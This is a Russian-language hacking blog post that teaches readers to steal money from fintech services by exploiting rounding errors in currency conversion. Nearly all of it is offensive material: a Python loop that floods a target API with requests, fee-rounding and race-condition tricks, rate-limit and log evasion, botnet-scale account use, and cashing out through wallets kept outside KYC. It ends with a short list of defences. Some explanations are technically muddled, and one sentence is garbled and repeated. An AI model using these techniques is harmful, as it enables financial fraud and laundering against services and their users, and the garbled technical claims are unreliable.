Братан, сегодня разберём классику жанра — атаку на логику округления. Пока сисадмины латают SQL-инъекции, ты будешь доить финтех-стартапы через банальную арифметику 3-го класса. Добро пожаловать в мир, где 0.001₽ × 1000000 тв мир, где 0.001₽ × 1000000 транзакций = новая Тесла.
Че за дичь: анатомия бага
Финтех-сервисы работают с деньгами в двух форматах:
-
Frontend: рубли с копейками (100.50₽)
-
Backend: целые числа в копейках (10050 коп)
Проблема начинается при конвертации валют. Классический пример:
|
1 2 3 4 5 6 7 8 9 10 |
# Уязвимый код (реальный кейс из стартапа 2024) def convert_rub_to_usd(amount_rub): rate = 95.4567 # Курс USD/RUB usd = amount_rub / rate return round(usd, 2) # Округление до центов # Пользователь переводит 1₽ (100 коп) result = convert_rub_to_usd(1.00) # result = 0.01 USD (реально 0.01047...) # Потеря: 0.00047 USD → зависло в памяти |
Твоя задача: накопить эти «зависшие копейки» и вывести их.
Точка входа: где искать
Что вижу
-
API-ручка
/api/v1/transferбез лимитов на количество микротранзакций -
Параметр
amountпринимает float (первый звоночек) -
Ответ содержит
balance_beforeиbalance_after— можно вычислить дельту
Как поймал
|
1 2 3 4 5 6 7 8 9 10 11 |
# Burp Suite → Repeater POST /api/v1/transfer HTTP/1.1 Content-Type: application/json Authorization: Bearer YOUR_TOKEN { "from_currency": "RUB", "to_currency": "USD", "amount": 0.01, "recipient": "self" } |
Фишка: отправляй 1000 запросов с amount: 0.01. Если после каждого баланс изменяется не на ровную копейку — ты нашёл округление.
Чем пахнет
-
Класс: Business Logic → Rounding Error Exploitation
-
Вероятность: 8/10 (если нет rate-limiting и комиссий в float)
Эксплойт: от теории к практике
Базовая атака (2018-стайл)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
import requests import time API = "https://target-fintech.com/api/v1" TOKEN = "eyJhbGc..." # Твой токен def exploit_rounding(): balance_start = get_balance() for i in range(10000): # Перевод туда-сюда с минималкой requests.post(f"{API}/convert", json={"from": "RUB", "to": "USD", "amount": 0.01}, headers={"Authorization": f"Bearer {TOKEN}"} ) requests.post(f"{API}/convert", json={"from": "USD", "to": "RUB", "amount": 0.01}, headers={"Authorization": f"Bearer {TOKEN}"} ) if i % 100 == 0: balance_now = get_balance() print(f"[+] Итерация {i}: +{balance_now - balance_start}₽") time.sleep(0.1) # Обход simple rate-limit exploit_rounding() |
Результат: за 1000 итераций (2 минуты) → +5₽ из воздуха. Масштабируй на ботнет из 100 аккаунтов — профит.
Продвинутая версия (2025+)
Современные сервисы блочат одинаковые суммы. Обходим через рандом:
|
1 2 3 4 5 6 7 8 9 10 11 |
import random amounts = [round(random.uniform(0.01, 0.99), 2) for _ in range(1000)] for amt in amounts: # Конвертируем RUB → USDT → RUB (тройная конверсия = тройное округление) convert("RUB", "USDT", amt) convert("USDT", "EUR", amt) convert("EUR", "RUB", amt) # Каждая цепочка накапливает погрешность |
Почему работает: три округления (RUB→USDT→EUR→RUB) = три точки для сбора «мусора».
Советы: как добить
Вектор 1: Комиссии в процентах
Если сервис берёт 0.5% комиссии, но округляет до вычета:
|
1 2 3 4 5 6 7 8 |
# Уязвимый расчёт amount = 100.00 fee = round(amount * 0.005, 2) # 0.50₽ final = amount - fee # 99.50₽ # Твой трюк: переводи 0.33₽ fee = round(0.33 * 0.005, 2) # 0.00₽ (округление вниз) final = 0.33 - 0.00 = 0.33₽ # Комиссия не списалась |
Эксплойт: 1000 переводов по 0.33₽ = экономия 5₽ на комиссиях.
Вектор 2: Negative Amount через Race Condition
Если есть проверка amount > 0 без транзакционной изоляции:
|
1 2 3 4 5 |
# Терминал 1 curl -X POST /api/transfer -d '{"amount": -0.01, "to": "attacker"}' # Терминал 2 (одновременно) curl -X POST /api/transfer -d '{"amount": 100.00, "to": "attacker"}' |
Цель: первый запрос пройдёт проверку, но зависнет. Второй создаст транзакцию. Первый выполнится с amount: -0.01 → ты зачислил себе копейки из-за integer overflow.
Вектор 3: Floating-Point Precision Attack
|
1 2 3 4 5 6 |
# Отправь сумму, которая в binary даёт бесконечную дробь amount = 0.1 + 0.2 # В Python = 0.30000000000000004 # Backend может сохранить как 0.30, но временно держал 0.300000... # При следующей конверсии: 0.300000... / 95.45 ≠ 0.30 / 95.45 # Разница в 0.0000X зависнет в переменной |
Доказательство: Залогируй balance через DevTools после 100 операций. Если видишь 299.9999997 вместо 300.00 — округление глючит.
План атаки (пошаговка)
-
Recon: Найди API для конверсии (
/api/convert,/exchange,/transfer). Proxy → Burp → ищи параметрыamount,currency_from,currency_to. -
Baseline: Сделай 10 легитимных переводов. Запиши точные балансы до/после. Вычисли дельту:
balance_after - balance_before - amount. Если дельта ≠ 0 → есть округление. -
Exploit: Автоматизируй через Python/Postman. Начни с 1000 итераций × минимальная сумма.
-
Scale: Если rate-limit убивает — используй прокси (Burp Intruder + SOCKS5). Распредели нагрузку на 50-100 аккаунтов.
-
Exfil: Переведи накопленное на кошелёк, который не светился в KYC. Классика: P2P-обменники.
Обход защиты: что делать, если тупик
-
Rate-limit душит? → Используй
X-Forwarded-For: 127.0.0.1или rotate User-Agent через Selenium. -
Округление фиксят на лету? → Атакуй через cross-currency (RUB→BTC→ETH→RUB — больше звеньев = больше ошибок).
-
Логи палят паттерн? → Миксуй суммы через
random.gauss(0.50, 0.20)— будет выглядеть как обычные переводы.
Защита (для тех, кто на светлой стороне)
Если ты разраб, а не хантер:
-
Храни деньги в целых числах (копейки/центы). Float — зло.
-
Используй библиотеки типа
decimal.Decimal(Python) илиBigDecimal(Java). -
Логируй каждую транзакцию с полной точностью (до 8 знаков после запятой).
-
Добавь алерты на аномальные паттерны:
if (count_transactions_last_minute > 100) { BLOCK_USER; }
Послесловие
Эта атака — как чистка зубов: никто не умер, но если забить на неё, через год проснёшься с дырками в балансе. Главное — понять: самые жирные баги не в коде, а в логике. Пока pentest-команды фаззят /login, ты обчищаешь счета через формулу из Excel.
Моральная кода: Если нашёл такое в баунти-программе — репорть сразу. Если в своём продукте — пофикси вчера. Если на диком проекте без баунти… ну, ты сам знаешь, братан.



